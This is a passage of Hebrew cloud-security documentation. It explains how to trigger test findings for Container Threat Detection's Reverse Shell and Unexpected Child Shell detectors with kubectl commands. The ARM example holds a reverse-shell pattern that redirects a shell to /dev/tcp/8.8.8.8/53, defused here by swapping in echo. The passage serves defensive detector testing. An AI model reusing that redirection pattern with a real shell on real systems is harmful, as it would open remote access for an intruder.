   • צומת ARM:

     tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
     

תהליך הבדיקה הזה יוצר ממצא של Reverse Shell שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם Logging לזיהוי איומים בקונטיינרים. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center ברמת הארגון.

Unexpected Child Shell

כדי לבדוק את הגלאי Unexpected Child Shell, אפשר ליצור עץ תהליכים שכולל תהליך של מעטפת צאצא.

בדוגמה הבאה נוצר עץ תהליכים consul->dash, שאפשר לזהות אותו באמצעות גלאי Unexpected Child Shell. הבדיקה הזו בטוחה כי היא משתמשת רק בקבצים בינאריים מובנים. בדוגמה הזו:

1. יוצרת עותק של התהליך sh ונותנת לו את השם consul.
2. העתקה של תהליך echo ומתן השם dash.
3. מפעיל את התהליך המועתק dash בתהליך המועתק consul.

כדי להפעיל ממצא מסוג Unexpected Child Shell:

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. כדי להפעיל מעטפת מדומה, משתמשים בתהליך המדומה consul:

   • צומת x86:

     tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -ti \
        --image ubuntu "$tag" \
        --command -- /bin/sh -c \
           'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
           /tmp/consul -c "/tmp/sh child ran successfully & wait"'
     

   • צומת ARM:

     tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -ti \
        --image ubuntu \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" --command -- /bin/sh -c \
           'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
           /tmp/consul -c "/tmp/sh child ran successfully & wait"'
     

במהלך הליך הבדיקה הזה נוצר ממצא Unexpected Child Shell שאפשר לראות ב-Security Command Center. אם הגדרתם את Cloud Logging לזיהוי איומים בקונטיינר ויש לכם מינוי ל-Security Command Center Premium או Enterprise ברמת הארגון, תוכלו לראות את הממצא גם ב-Cloud Logging.

כדי להפחית רעשי רקע, כשיוצרים קונטיינר חדש, התכונה 'זיהוי איומים בקונטיינר' מסננת באופן זמני את Unexpected Child Shell. כדי לראות את כל התוצאות של Unexpected Child Shell במהלך הגדרת מאגר תגים, צריך להוסיף את הקידומת ktd-test לשם מאגר התגים או לשם ה-Pod, כמו בדוגמה.

המאמרים הבאים

• איך משתמשים בזיהוי איומים בקונטיינר